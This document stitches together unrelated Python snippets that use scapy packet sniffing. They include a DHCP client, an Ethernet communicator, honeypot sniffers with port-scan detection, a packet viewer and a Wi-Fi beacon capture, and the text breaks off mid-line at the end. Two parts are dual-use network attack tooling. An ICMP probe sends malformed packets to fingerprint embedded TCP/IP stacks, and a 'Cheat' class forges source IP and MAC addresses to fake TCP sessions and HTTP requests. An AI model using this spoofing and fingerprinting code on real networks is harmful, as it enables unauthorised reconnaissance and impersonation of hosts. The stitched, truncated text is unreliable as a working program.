class DHCPClient: THREAD_YIELD_TIME = .1 def __init__( self, dhcp_store: MutableMapping[str, DHCPDescriptor], gw_info: UplinkGatewayInfo, dhcp_wait: Condition, iface: str = "dhcp0", lease_renew_wait_min: int = 200, ): """ Implement DHCP client to allocate IP for given Mac address. DHCP client state is maintained in user provided hash table. Args: dhcp_store: maintain DHCP transactions, key is mac address. gw_info_map: stores GW IP info from DHCP server dhcp_wait: notify users on new DHCP packet iface: DHCP egress and ingress interface. """ self._sniffer = AsyncSniffer( iface=iface, filter="udp and (port 67 or 68)", store=False, prn=self._rx_dhcp_pkt, ) self.dhcp_client_state = dhcp_store # mac => DHCP_State self.dhcp_gw_info = gw_info self._dhcp_notify = dhcp_wait self._dhcp_interface = iface self._msg_xid = 0 self._lease_renew_wait_min = lease_renew_wait_min self._monitor_thread = threading.Thread( target=self._monitor_dhcp_state, ) self._monitor_thread.daemon = True self._monitor_thread_event = threading.Event() def run(self): """ Start DHCP sniffer thread. This initializes state required for DHCP sniffer thread anf starts it. Returns: None """ self._sniffer.start() LOG.info("DHCP sniffer started") # give it time to schedule the thread and start sniffing. time.sleep(self.THREAD_YIELD_TIME) self._monitor_thread.start() def stop(self): self._sniffer.stop() self._monitor_thread_event.set() def send_dhcp_packet( self, mac: MacAddress, vlan: int, state: DHCPState, dhcp_desc: Optional[DHCPDescriptor] = None, ) -> None: """ Send DHCP packet and record state in dhcp_client_state. Args: mac: MAC address of interface state: state of DHCP packet dhcp_desc: DHCP protocol state. Returns: """ ciaddr = None # generate DHCP request packet if state == DHCPState.DISCOVER: dhcp_opts = [("message-type", "discover")] dhcp_desc = DHCPDescriptor( mac=mac, ip="", vlan=vlan, state_requested=DHCPState.DISCOVER, ) self._msg_xid = self._msg_xid + 1 pkt_xid = self._msg_xid elif state == DHCPState.REQUEST and dhcp_desc: dhcp_opts = [ ("message-type", "request"), ("requested_addr", dhcp_desc.ip), ("server_id", dhcp_desc.server_ip), ] dhcp_desc.state_requested = DHCPState.REQUEST pkt_xid = dhcp_desc.xid ciaddr = dhcp_desc.ip elif state == DHCPState.RELEASE and dhcp_desc: dhcp_opts = [ ("message-type", "release"), ("server_id", dhcp_desc.server_ip), ] dhcp_desc.state_requested = DHCPState.RELEASE self._msg_xid = self._msg_xid + 1 pkt_xid = self._msg_xid ciaddr = dhcp_desc.ip else: LOG.warning( "Unknown egress request mac %s state %s", str(mac), state, ) return dhcp_opts.append("end") # type: ignore[arg-type] dhcp_desc.xid = pkt_xid with self._dhcp_notify: self.dhcp_client_state[mac.as_redis_key(vlan)] = dhcp_desc pkt = Ether(src=str(mac), dst="ff:ff:ff:ff:ff:ff") if vlan and vlan != 0: pkt /= Dot1Q(vlan=vlan) pkt /= IP(src="0.0.0.0", dst="255.255.255.255") pkt /= UDP(sport=68, dport=67) pkt /= BOOTP(op=1, chaddr=mac.as_hex(), xid=pkt_xid, ciaddr=ciaddr) pkt /= DHCP(options=dhcp_opts) LOG.debug("DHCP pkt xmit %s", pkt.show(dump=True)) sendp(pkt, iface=self._dhcp_interface, verbose=0) def get_dhcp_desc( self, mac: MacAddress, vlan: int, ) -> Optional[DHCPDescriptor]: """ Get DHCP description for given MAC. Args: mac: Mac address of the client vlan: vlan id if the IP allocated in a VLAN Returns: Current DHCP info. """ key = mac.as_redis_key(vlan) if key in self.dhcp_client_state: return self.dhcp_client_state[key] LOG.debug("lookup error for %s", str(key)) return None def release_ip_address(self, mac: MacAddress, vlan: int): """ Release DHCP allocated IP. Args: mac: MAC address of the IP allocated. vlan: vlan id if the IP allocated in a VLAN Returns: None """ key = mac.as_redis_key(vlan) if key not in self.dhcp_client_state: LOG.error("Unallocated DHCP release for MAC: %s", key) return dhcp_desc = self.dhcp_client_state[key] self.send_dhcp_packet( mac, dhcp_desc.vlan, DHCPState.RELEASE, dhcp_desc, ) del self.dhcp_client_state[key] def _monitor_dhcp_state(self): """ monitor DHCP client state. """ while True: wait_time = self._lease_renew_wait_min with self._dhcp_notify: for dhcp_record in self.dhcp_client_state.values(): logging.debug("monitor: %s", dhcp_record) # Only process active records. if dhcp_record.state not in DHCP_ACTIVE_STATES: continue now = datetime.datetime.now() logging.debug("monitor time: %s", now) request_state = DHCPState.REQUEST # in case of lost DHCP lease rediscover it. if now >= dhcp_record.lease_expiration_time: request_state = DHCPState.DISCOVER if now >= dhcp_record.lease_renew_deadline: logging.debug("sending lease renewal") self.send_dhcp_packet( dhcp_record.mac, dhcp_record.vlan, request_state, dhcp_record, ) else: # Find next renewal wait time. time_to_renew = dhcp_record.lease_renew_deadline - now wait_time = min( wait_time, time_to_renew.total_seconds(), ) # default in wait is 30 sec wait_time = max(wait_time, self._lease_renew_wait_min) logging.debug("lease renewal check after: %s sec", wait_time) self._monitor_thread_event.wait(wait_time) if self._monitor_thread_event.is_set(): break @staticmethod def _get_option(packet, name): for opt in packet[DHCP].options: if opt[0] == name: return opt[1] return None def _process_dhcp_pkt(self, packet, state: DHCPState): LOG.debug("DHCP pkt recv %s", packet.show(dump=True)) mac_addr = MacAddress(hex_to_mac(packet[BOOTP].chaddr.hex()[0:12])) vlan: int = 0 if Dot1Q in packet: vlan = packet[Dot1Q].vlan mac_addr_key = mac_addr.as_redis_key(vlan) with self._dhcp_notify: if mac_addr_key in self.dhcp_client_state: state_requested = self.dhcp_client_state[mac_addr_key].state_requested if BOOTP not in packet or packet[BOOTP].yiaddr is None: LOG.error("no ip offered") return ip_offered = packet[BOOTP].yiaddr subnet_mask = self._get_option(packet, "subnet_mask") if subnet_mask is not None: ip_subnet = IPv4Network( ip_offered + "/" + subnet_mask, strict=False, ) else: ip_subnet = IPv4Network( ip_offered + "/" + "32", strict=False, ) dhcp_server_ip = None if IP in packet: dhcp_server_ip = packet[IP].src dhcp_router_opt = self._get_option(packet, "router") if dhcp_router_opt is not None: router_ip_addr = ip_address(dhcp_router_opt) else: # use DHCP as upstream router in case of missing Open 3. router_ip_addr = dhcp_server_ip self.dhcp_gw_info.update_ip(router_ip_addr, vlan) lease_expiration_time = self._get_option(packet, "lease_time") dhcp_state = DHCPDescriptor( mac=mac_addr, ip=ip_offered, state=state, vlan=vlan, state_requested=state_requested, subnet=str(ip_subnet), server_ip=dhcp_server_ip, router_ip=router_ip_addr, lease_expiration_time=lease_expiration_time, xid=packet[BOOTP].xid, ) LOG.info( "Record DHCP for: %s state: %s", mac_addr_key, dhcp_state, ) self.dhcp_client_state[mac_addr_key] = dhcp_state self._dhcp_notify.notifyAll() if state == DHCPState.OFFER: # let other thread work on fulfilling IP allocation # request. threading.Event().wait(self.THREAD_YIELD_TIME) self.send_dhcp_packet( mac_addr, vlan, DHCPState.REQUEST, dhcp_state, ) else: LOG.debug("Unknown MAC: %s ", packet.summary()) return # ref: https://fossies.org/linux/scapy/scapy/layers/dhcp.py def _rx_dhcp_pkt(self, packet): if DHCP not in packet: return # Match DHCP offer if packet[DHCP].options[0][1] == int(DHCPState.OFFER): self._process_dhcp_pkt(packet, DHCPState.OFFER) # Match DHCP ack elif packet[DHCP].options[0][1] == int(DHCPState.ACK): self._process_dhcp_pkt(packet, DHCPState.ACK)
class Ethernet(Communicator): '''Ethernet''' def __init__(self, options=None): super().__init__() self.type = INTERFACES.ETH_100BASE_T1 self.src_mac = None self.dst_mac = 'FF:FF:FF:FF:FF:FF' self.ethernet_name = None self.data = None self.iface = None self.filter_device_type = None self.filter_device_type_assigned = False self.iface_confirmed = False self.receive_cache = collections.deque(maxlen=1000) self.use_length_as_protocol = True self.async_sniffer = None if options and options.device_type != 'auto': self.filter_device_type = options.device_type self.filter_device_type_assigned = True def handle_iface_confirm_packet(self, packet): self.iface_confirmed = True self.dst_mac = packet.src def confirm_iface(self, iface): dst_mac_str = 'FF:FF:FF:FF:FF:FF' filter_exp = 'ether dst host ' + \ iface[1] + ' and ether[16:2] == 0x01cc' dst_mac = bytes([int(x, 16) for x in dst_mac_str.split(':')]) src_mac = bytes([int(x, 16) for x in iface[1].split(':')]) self.send_async_shake_hand(iface[0], dst_mac, src_mac, filter_exp, True) if self.iface_confirmed: self.iface = iface[0] self.src_mac = iface[1] self.use_length_as_protocol = True print('[NetworkCard]', self.iface) return dst_mac_str = '04:00:00:00:00:04' dst_mac = bytes([int(x, 16) for x in dst_mac_str.split(':')]) filter_exp = 'ether src host ' + \ dst_mac_str + ' and ether[16:2] == 0x01cc' self.send_async_shake_hand(iface[0], dst_mac, src_mac, filter_exp, False) if self.iface_confirmed: self.iface = iface[0] self.src_mac = iface[1] self.use_length_as_protocol = False print('[NetworkCard]', self.iface) def find_device(self, callback, retries=0, not_found_handler=None): self.device = None # find network connection if not self.iface_confirmed: ifaces_list = self.get_network_card() for i in range(len(ifaces_list)): self.confirm_iface(ifaces_list[i]) if self.iface_confirmed: self.start_listen_data() break else: if i == len(ifaces_list) - 1: print_red('No available Ethernet card was found.') return None else: self.reshake_hand() # confirm device time.sleep(1) self.confirm_device(self) if self.device: # establish the packet sniff thread callback(self.device) else: print_red( 'Cannot confirm the device in ethernet 100base-t1 connection') def send_async_shake_hand(self, iface, dst_mac, src_mac, filter, use_length_as_protocol): pG = [0x01, 0xcc] command = helper.build_ethernet_packet( dst_mac, src_mac, pG, use_length_as_protocol=use_length_as_protocol) async_sniffer = AsyncSniffer(iface=iface, prn=self.handle_iface_confirm_packet, filter=filter) async_sniffer.start() time.sleep(0.2) sendp(command.actual_command, iface=iface, verbose=0) time.sleep(0.5) async_sniffer.stop() def reshake_hand(self): if self.async_sniffer and self.async_sniffer.running: self.async_sniffer.stop() self.iface_confirmed = False dst_mac_str = 'FF:FF:FF:FF:FF:FF' filter_exp = 'ether dst host ' + \ self.src_mac + ' and ether[16:2] == 0x01cc' dst_mac = bytes([int(x, 16) for x in dst_mac_str.split(':')]) src_mac = self.get_src_mac() self.send_async_shake_hand(self.iface, dst_mac, src_mac, filter_exp, True) if self.iface_confirmed: self.use_length_as_protocol = True self.start_listen_data() return True dst_mac_str = '04:00:00:00:00:04' dst_mac = bytes([int(x, 16) for x in dst_mac_str.split(':')]) filter_exp = 'ether src host ' + \ dst_mac_str + ' and ether[16:2] == 0x01cc' self.send_async_shake_hand(self.iface, dst_mac, src_mac, filter_exp, True) if self.iface_confirmed: self.use_length_as_protocol = False self.start_listen_data() return True else: raise Exception('Cannot finish shake hand.') def start_listen_data(self): ''' The different mac address make the filter very hard to match ''' hard_code_mac = '04:00:00:00:00:04' filter_exp = 'ether src host {0} or {1}'.format( self.dst_mac, hard_code_mac) self.async_sniffer = AsyncSniffer(iface=self.iface, prn=self.handle_recive_packet, filter=filter_exp, store=0) self.async_sniffer.start() time.sleep(0.1) def handle_recive_packet(self, packet): packet_raw = bytes(packet)[12:] packet_raw_length = packet_raw[0:2] packet_type = packet_raw[4:6] if packet_type == b'\x01\xcc': self.dst_mac = packet.src if packet_raw_length == b'\x00\x00': self.use_length_as_protocol = False self.receive_cache.append(packet_raw[2:]) def open(self): ''' open ''' def close(self): ''' close ''' def can_write(self): if self.iface: return True return False def write(self, data, is_flush=False): ''' write ''' try: sendp(data, iface=self.iface, verbose=0) # print(data) except Exception as e: raise def read(self, size=100): ''' read ''' if len(self.receive_cache) > 0: return self.receive_cache.popleft() return [] def reset_buffer(self): ''' reset buffer ''' self.receive_cache.clear() def get_src_mac(self): return bytes([int(x, 16) for x in self.src_mac.split(':')]) def get_dst_mac(self): return bytes([int(x, 16) for x in self.dst_mac.split(':')]) def get_network_card(self): network_card_info = [] for item in conf.ifaces: if conf.ifaces[item].ip == '127.0.0.1' or conf.ifaces[ item].mac == '': continue network_card_info.append( (conf.ifaces[item].name, conf.ifaces[item].mac)) return network_card_info
def icmpv4_probe(dst_host, timeout): icmptype_i = 0x8 icmptype_name_i = 'ICMP ECHO' icmptype_o = 0x0 icmptype_name_o = 'ICMP ECHO_REPLY' stack_name = None match = MATCH_NO_MATCH ip = IP(dst=dst_host, ttl=20, proto=0x01) # First, check if we can reach ICMP std_icmp_payload = '\xcd\x69\x08\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17' \ '\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27' \ '\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37' reply = sr1(ip / ICMP(id=0xff, seq=1, type=icmptype_i) / Raw(load=std_icmp_payload), filter='icmp[icmptype] = {}'.format(icmptype_o), timeout=timeout) if not reply: return (stack_name, MATCH_NO_REPLY) # If there is no reply to the second ICMP packet, either the target IP cannot be reached (or ICMP is # disabled), or we deal with the CycloneTCP stack that will accept only ICMP packets that have at least 1 byte # of data. To check for CycloneTCP, we craft such a packet: we expect the 1 byte of data back (+ optional padding). reply = sr1(ip / ICMP(id=0xff, seq=1, type=icmptype_i), filter='icmp[icmptype] = {}'.format(icmptype_o), timeout=timeout) if not reply: reply = sr1(ip / ICMP(id=0xff, seq=1, type=icmptype_i) / Raw(load=b'\x41'), filter='icmp[icmptype] = {}'.format(icmptype_o), timeout=timeout) if reply and (reply.ttl >= 54 and reply.ttl <= 64): if Raw in reply and Padding in reply and reply[Raw].load == b'\x41': match = MATCH_MEDIUM stack_name = 'CycloneTCP' return (stack_name, match) # Next, we prepare a packet that should work with uIP/Contiki and PicoTCP icmp_raw = b'\x08\x01\x02' ipv4_probe = ip / Raw(load=icmp_raw) # Send the malformed ICMP packet # If we get the expected reply it is either PicoTCP or uIP/Contiki: # - we first check that the TTL value of the echo packet is changed into 64 for the reply packet # - we then check the payload sequence of the echo reply packet reply = sr1(ipv4_probe, filter='icmp[icmptype] = {}'.format(icmptype_o), timeout=timeout) if reply and (reply.ttl >= 54 and reply.ttl <= 64): if (hexlify(reply.load) == b'0001ff'): match = MATCH_HIGH stack_name = 'PicoTCP' elif (hexlify(reply.load) == b'00010a'): match = MATCH_HIGH stack_name = 'uIP/Contiki' else: # we did not get a reply for the first malformed packet _id = 0xab _seq = 0xba # Nut/Net should reply to ICMP packets with incorrect IP and ICMP checksums ipv4_probe = IP(dst=dst_host, ttl=20, chksum=0xdead) / ICMP( id=_id, seq=_seq, type=icmptype_i, chksum=0xbeaf) reply = sr1(ipv4_probe, filter='icmp[icmptype] = {}'.format(icmptype_o), timeout=timeout) # TTL value must be 64 as well if reply and (reply.ttl >= 54 and reply.ttl <= 64): if (reply[ICMP].id == _id and reply[ICMP].seq == _seq and reply[ICMP].type == 0x00): match = MATCH_MEDIUM stack_name = 'Nut/Net' # Here we handle all other cases if match == MATCH_NO_MATCH: # NDKTCPIP should reply to an ICMP packet that has at least 4 bytes of the header and a correct ICMP checksum # The code (2nd byte) must be 0x00 icmp_raw = b'\x08\x00\xf7\xff' ipv4_probe = ip / Raw(load=icmp_raw) # For some reason Scapy will not get the reply to this packet, so I had to use asynchronous sniffing t = AsyncSniffer(iface=interface) t.start() send(ipv4_probe) time.sleep(timeout) pkts = t.stop() for pkt in pkts: # first, let's check the source and the destination IP if IP in pkt and pkt[IP].src == dst_host and pkt[IP].dst == ip.src: # NDKTCPIP will reply with a TTL value of 255, the ICMP checksum will be 0xffff if ICMP in pkt and pkt[ICMP].type == 0x00 and pkt[ ICMP].chksum == 0xffff: # NDKTCPIP will reply with a TTL value of 255, the ICMP checksum will be 0xffff if (pkt.ttl >= 245 and pkt.ttl <= 255): match = MATCH_HIGH stack_name = 'NDKTCPIP' break # Nucleus Net AND NicheStack will reply with a TTL value of 64, the ICMP checksum will be 0xffff. # So far, we assume it is NicheStack. elif (pkt.ttl <= 64): match = MATCH_MEDIUM stack_name = 'NicheStack' break # We do an additional check for Nucleus Net: it will reply to a malformed ICMP packet that has only 1 byte in its header. # If we don't get a reply, NicheStack it is. if stack_name == 'NicheStack': icmp_raw = b'\x08' ipv4_probe = ip / Raw(load=icmp_raw) t = AsyncSniffer(iface=interface) t.start() send(ipv4_probe) time.sleep(timeout) pkts = t.stop() for pkt in pkts: # first, let's check the source and the destination IP if IP in pkt and pkt[IP].src == dst_host and pkt[IP].dst == ip.src: if ICMP in pkt and pkt[ICMP].type == 0x00 and pkt[ ICMP].chksum == None: match = MATCH_MEDIUM stack_name = 'Nucleus Net' break return (stack_name, match)
class Relay(flx.Component): txt_packet = '' prev_idx = 0 curr_idx = 0 summary_txt = '' detail_txt = '' hexdump_txt = '' def init(self): self.sniffer = None self.refresh() def sniff_start(self, ifname): p_list[:] = [] self.summary_txt = '' self.detail_txt = '' self.hexdump_txt = '' self.prev_idx = 0 self.curr_idx = 0 self.sniffer = AsyncSniffer(iface=ifname, prn=lambda x: p_list.append(x)) self.sniffer.start() def sniff_stop(self): if self.sniffer and self.sniffer.running: self.sniffer.stop() def print_packet(self): self.curr_idx = len(p_list) self.summary_txt = '' for i in range(self.prev_idx, self.curr_idx): self.summary_txt += p_list[i].summary() if i is not self.curr_idx - 1: self.summary_txt += '\n' self.prev_idx = self.curr_idx return self.summary_txt def pkt_detail(self, idx): if p_list[idx]: self.detail_txt = p_list[idx].show(dump=True) else: self.detail_txt = '' def pkt_hexdump(self, idx): if p_list[idx]: self.hexdump_txt = hexdump(p_list[idx], dump=True) else: self.hexdump_txt = '' def packet_info(self): self.curr_idx = len(p_list) for i in range(self.prev_idx, self.curr_idx): self.emit( 'packet_info', dict(pkt_summary=p_list[i].summary(), pkt_detail=p_list[i].show(dump=True), pkt_hex=hexdump(p_list[i], dump=True))) self.prev_idx = self.curr_idx def refresh(self): self.packet_info() asyncio.get_event_loop().call_later(0.5, self.refresh)
class Sniffer: """ Constructs the sniffer object; notably takes a config keyword to control what mode to run in 'testing' ignores ssh traffic """ def __init__( self, config="base", openPorts=None, whitelist=None, portWhitelist=None, honeypotIP=None, managementIPs=None, port_scan_window=None, port_scan_sensitivity=None, databaser=None, ): self.config = config self.openPorts = [] if openPorts is None else openPorts self.whitelist = [] if whitelist is None else whitelist self.honeypotIP = honeypotIP self.portWhitelist = [] if portWhitelist is None else portWhitelist self.managementIPs = managementIPs self.scan_window = port_scan_window self.scan_sensitivity = port_scan_sensitivity self.db = databaser # used to detect port scans self.portScanTimeout = None # also used to detect port scans self.PS_RECORD = dict() # set used for testing convenience self.RECORD = dict() # Hash used to tell if we properly updated Sniffer class; # there is probably a better way of making this hash self.currentHash = hash(self.config) self.currentHash += hash(tuple(self.openPorts)) self.currentHash += hash(tuple(self.whitelist)) self.currentHash += hash(honeypotIP) self.currentHash += hash(tuple(managementIPs)) def start(self): """ Runs the thread, begins sniffing with given config """ print("Starting async sniffer") # building the base filter fltr = "not src host {} ".format(self.honeypotIP) # adding a variable number of management ips for ip in self.managementIPs: fltr += "and not host {} ".format(ip) # adding things from the port list for port in self.portWhitelist: fltr += "and not dst port {} ".format(port) # here's where the packet detection starts if self.config == "testing": # this ignores the ssh spam you get when sending # packets between two ssh terminals fltr = fltr + " and not (src port ssh or dst port ssh)" elif self.config == "base": # this above filter ignores the ssh spam you get when sending packets # between two ssh terminals - TODO: TAKE THIS OUT IN PROD fltr = fltr + " and not (src port ssh or dst port ssh)" elif self.config == "onlyUDP": # this last config option is used in testing fltr = "udp" self.sniffer = AsyncSniffer(filter=fltr, prn=self.save_packet, store=False) if not self.sniffer: raise Exception("Async sniffer not initialized") self.sniffer.start() def stop(self): """ Attempts to stop the async sniffer """ if not self.sniffer or not self.sniffer.running: raise Exception("Async sniffer not initialized") self.sniffer.stop() def configUpdate( self, openPorts=None, whitelist=None, portWhitelist=None, honeypotIP=None, managementIPs=None, port_scan_window=None, port_scan_sensitivity=None, ): """ Updates configuration options during runtime """ print("Async sniffer updated") self.running = False self.openPorts = [] if openPorts is None else openPorts self.whitelist = [] if whitelist is None else whitelist self.portWhitelist = [] if portWhitelist is None else portWhitelist self.honeypotIP = honeypotIP self.managementIPs = managementIPs self.scan_window = port_scan_window self.scan_sensitivity = port_scan_sensitivity # updates hash self.currentHash = hash(self.config) self.currentHash += hash(tuple(self.openPorts)) self.currentHash += hash(tuple(self.whitelist)) self.currentHash += hash(honeypotIP) self.currentHash += hash(tuple(managementIPs)) self.currentHash += hash( tuple([self.scan_window, self.scan_sensitivity])) # restart's Sniffer try: self.stop() except Scapy_Exception as ex: print("Sniffer did not finish setting up before teardown: ", str(ex)) self.start() def save_packet(self, packet): """ Function for recording a packet during sniff runtime packet = the packet passed through the sniff function """ # TODO: make this work with layer 2, for now just skip filtering those packets if not packet.haslayer("IP"): return # timestamp used for port scan detection currentTime = int(datetime.now().timestamp()) if self.portScanTimeout is None: self.portScanTimeout = currentTime # how to tell if we need to reset our port scan record if currentTime > self.portScanTimeout + self.scan_window: self.portScanTimeout = currentTime self.PS_RECORD = dict() # A bunch of packet data, collected to be stored sourceMAC = packet.src destMAC = packet.dst ipLayer = packet.getlayer("IP") # IP where this came from srcIP = ipLayer.src dstIP = ipLayer.dst destPort = ipLayer.dport if hasattr(ipLayer, "dport") else None srcPort = ipLayer.sport if hasattr(ipLayer, "sport") else None if (not ipLayer.haslayer("TCP") and not ipLayer.haslayer("UDP") and not ipLayer.haslayer("ICMP")): return # Whitelist check if srcIP not in self.whitelist: # Testing config - does not utilize a database # isTest = self.config == "onlyUDP" or self.config == "testing" trafficType = ("TCP" if ipLayer.haslayer("TCP") else "UDP" if ipLayer.haslayer("UDP") else "ICMP" if ipLayer.haslayer("ICMP") else "Other") # Log Entry object we're saving log = LogEntry( srcPort, srcIP, sourceMAC, destPort, dstIP, destMAC, trafficType, ipLayer.len, destPort in self.openPorts, ) # self.RECORD is where we save logs for easy testing if srcIP in self.RECORD.keys(): self.RECORD[srcIP].append(log) else: self.RECORD[srcIP] = [log] # saving the database ID in case of port scan detection if self.config == "base": dbID = self.db.save(log) else: return # self.PS_RECORD is a separate dictionary used for port scan detection if srcIP not in self.PS_RECORD.keys(): self.PS_RECORD[srcIP] = dict() self.PS_RECORD[srcIP][log.destPortNumber] = dbID else: self.PS_RECORD[srcIP][log.destPortNumber] = dbID # Sending out the port scan alert if len(self.PS_RECORD[srcIP]) > self.scan_sensitivity: self.db.alert( Alert( variant="alert", message="Port scan detected from IP {}".format( srcIP), references=list(self.PS_RECORD[srcIP].values()), )) self.PS_RECORD[srcIP] = dict()
class Sniffer: """ Constructs the sniffer object; notably takes a config keyword to control what mode to run in 'testing' ignores ssh traffic """ def __init__(self, config, mode="base", databaser=None, send_channel=None): self.config = config self.mode = mode self.db = databaser self.channel = send_channel # used to detect port scans self.portScanTimeout = None # also used to detect port scans self.PS_RECORD = dict() # set used for testing convenience self.RECORD = dict() # Hash used to tell if we properly updated Sniffer class; # there is probably a better way of making this hash self.currentHash = hash(self.config) self.index_map = {} for port in self.config.open_ports: self.index_map[port] = {} def start(self): """ Runs the thread, begins sniffing with given config """ print("Starting async sniffer") localIPList = [] fltr = "" # Get a list of all IP addresses assigned to local NICs # and ensure that this packet is not from any of them for interface in interfaces(): for link in ifaddresses(interface).get(AF_INET, ()): if fltr != "": fltr += "and " localIPList.append(link["addr"]) fltr += "not src host {} ".format(link["addr"]) # Not to or from the database IP if self.db is not None: if fltr != "": fltr += "and " fltr += "not src host {} and not dst host {} ".format( socket.gethostbyname(self.db.db_ip), socket.gethostbyname(self.db.db_ip)) # Honor the port whitelist for incoming packets for port in self.config.whitelist_ports: if fltr != "": fltr += "and " fltr += "not dst port {} ".format(port) # Honor the ip whitelist for both direction for ip in self.config.whitelist_addrs: if ip not in localIPList: # avoid blocking all incoming packets in the case that our own IP is entered into whitelist if fltr != "": fltr += "and " fltr += "not src host {} and not dst host {} ".format(ip, ip) print("Filter", fltr) # here's where the packet detection starts if self.mode == "testing": # this ignores the ssh spam you get when sending # packets between two ssh terminals if fltr != "": fltr += "and " fltr = fltr + "not (src port ssh or dst port ssh)" elif self.mode == "base": # this above filter ignores the ssh spam you get when sending packets # between two ssh terminals - TODO: TAKE THIS OUT IN PROD if fltr != "": fltr += "and " fltr = fltr + "not (src port ssh or dst port ssh)" elif self.mode == "onlyUDP": # this last config option is used in testing fltr = "udp" self.sniffer = AsyncSniffer(filter=fltr, prn=self.save_packet, store=False) if not self.sniffer: raise Exception("Async sniffer not initialized") self.sniffer.start() def stop(self): """ Attempts to stop the async sniffer """ if not self.sniffer or not self.sniffer.running: raise Exception("Async sniffer not initialized") self.sniffer.stop() def configUpdate(self, conf): """ Updates configuration options during runtime """ print("Async sniffer updated") self.running = False self.config = conf # updates hash self.currentHash = hash(self.config) # restart's Sniffer try: self.stop() except Scapy_Exception as ex: print("Sniffer did not finish setting up before teardown: ", str(ex)) self.start() async def send_msg(self, destPort): await self.channel.send("{ port: " + str(destPort) + ", packet: {} }") def save_packet(self, packet): """ Function for recording a packet during sniff runtime packet = the packet passed through the sniff function """ # TODO: make this work with layer 2, for now just skip filtering those packets if not packet.haslayer("IP"): return # timestamp used for port scan detection currentTime = int(datetime.now().timestamp()) if self.portScanTimeout is None: self.portScanTimeout = currentTime # how to tell if we need to reset our port scan record if currentTime > self.portScanTimeout + self.config.portscan_window: print("resetting timeout time") self.portScanTimeout = currentTime self.PS_RECORD = dict() # A bunch of packet data, collected to be stored sourceMAC = packet.src destMAC = packet.dst ipLayer = packet.getlayer("IP") # IP where this came from srcIP = ipLayer.src dstIP = ipLayer.dst destPort = ipLayer.dport if hasattr(ipLayer, "dport") else None srcPort = ipLayer.sport if hasattr(ipLayer, "sport") else None if (not ipLayer.haslayer("TCP") and not ipLayer.haslayer("UDP") and not ipLayer.haslayer("ICMP")): return # Testing config - does not utilize a database # isTest = self.config == "onlyUDP" or self.config == "testing" trafficType = ("TCP" if ipLayer.haslayer("TCP") else "UDP" if ipLayer.haslayer("UDP") else "ICMP" if ipLayer.haslayer("ICMP") else "Other") # Log Entry object we're saving log = LogEntry( srcPort, srcIP, sourceMAC, destPort, dstIP, destMAC, trafficType, ipLayer.len, destPort in self.config.open_ports, ) # self.RECORD is where we save logs for easy testing if srcIP in self.RECORD.keys(): self.RECORD[srcIP].append(log) else: self.RECORD[srcIP] = [log] # saving the database ID in case of port scan detection if self.mode == "base" and self.db is not None: dbID = self.db.saveLogObject(log) else: return # self.PS_RECORD is a separate dictionary used for port scan detection if srcIP not in self.PS_RECORD.keys(): self.PS_RECORD[srcIP] = dict() self.PS_RECORD[srcIP][log.destPortNumber] = dbID else: self.PS_RECORD[srcIP][log.destPortNumber] = dbID # Sending out the port scan alert if len(self.PS_RECORD[srcIP]) > self.config.portscan_threshold: if self.db is not None: self.db.saveAlertObject( Alert( variant="alert", message="Port scan detected from IP {}".format( srcIP), references=list(self.PS_RECORD[srcIP].values()), )) self.PS_RECORD[srcIP] = dict()
global channel if channel == 14: channel = 1 else: channel += 1 subprocess.run(["iwconfig", interface, "channel", str(channel)]) if capture: threading.Timer(0.2, hop_channel).start() def handle_packet(packet): global captured_packet global capture global sniffer if packet.type == 0 and packet.subtype == 8: captured_packet = packet capture = False sniffer.stop() print("Starting capture...") sniffer = AsyncSniffer(iface=interface, prn=handle_packet, store=False) hop_channel() sniffer.start() sniffer.join() print("Generating PDF...") captured_packet.pdfdump("01-beacon-frame.pdf", layer_shift=1)
class Cheat: def __init__(self, config: Config, save: Save, ip_s: str, ip_r: str, port_r: int, save_path: str, visit_path: str): self._nw_if = config.adp self._ack = 0 self._seq = 1 self._ip_mac = save.ip_mac self.ip_s = ip_s self.ip_r = ip_r self._port_s = int(RandShort()) self.port_r = port_r self._threads = [] self._filter_string = "tcp and src port " \ "" + str(self.port_r) + " and src host " + self.ip_r + " and dst host " \ "" + self.ip_s + " and dst port " + str(self._port_s) self._last_ack = 0 self._last_seq = 0 self._mac_r = None self._mac_s = None self.so = None self.res = None self.need_get = [] self.save_path = save_path self.visit_path = visit_path def init(self): self._ack = 0 self._seq = 1 self._last_ack = 0 self._last_seq = 0 self._mac_s, self._mac_r = self.get_mac(self.ip_s, self.ip_r) def get_mac(self, ip_a: str, ip_b: str): if ip_a in self._ip_mac.keys(): mac_a = self._ip_mac[ip_a] else: mac_a = "00:00:00:00:00:01" if ip_b in self._ip_mac.keys(): mac_b = self._ip_mac[ip_b] else: mac_b = "00:00:00:00:00:01" return mac_a, mac_b def whole_tcp(self): ans, un_an = srp(Ether(src=self._mac_s, dst=self._mac_r) / IP(src=self.ip_s, dst=self.ip_r) / TCP(sport=self._port_s, dport=self.port_r, flags="S", seq=self._seq, window=65535), inter=0.1, iface=self._nw_if, timeout=2, verbose=0) # sleep(0.5) for s, r in ans: self._ack = r[TCP].seq + 1 self._seq = self._seq + 1 sendp(Ether(src=self._mac_s, dst=self._mac_r) / IP(src=self.ip_s, dst=self.ip_r) / TCP(sport=self._port_s, dport=self.port_r, flags="A", ack=self._ack, seq=self._seq, window=65535), inter=0.1, iface=self._nw_if, verbose=0) def http_request(self, path): # load_layer("http") sendp(Ether(src=self._mac_s, dst=self._mac_r) / IP(src=self.ip_s, dst=self.ip_r) / TCP(sport=self._port_s, dport=self.port_r, flags="A", ack=self._ack, seq=self._seq, window=65535) / HTTP() / HTTPRequest( Method="GET", Path=path, Http_Version="HTTP/1.1", Host=self.ip_r + ":" + str(self.port_r), Connection="keep-alive", Upgrade_Insecure_Requests="1", Cookie="this is my fake cookie", User_Agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) " "Chrome/77.0.3865.90 Safari/537.36", Accept="text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;" "q=0.8,application/signed-exchange;v=b3", # Accept_Encoding="gzip, deflate", Accept_Language="zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6" ), inter=0.1, iface=self._nw_if, verbose=0) an = sniff(iface=self._nw_if, filter=self._filter_string, count=1) self._seq = an[0][TCP].ack # TCP数据包54字节 self._ack = 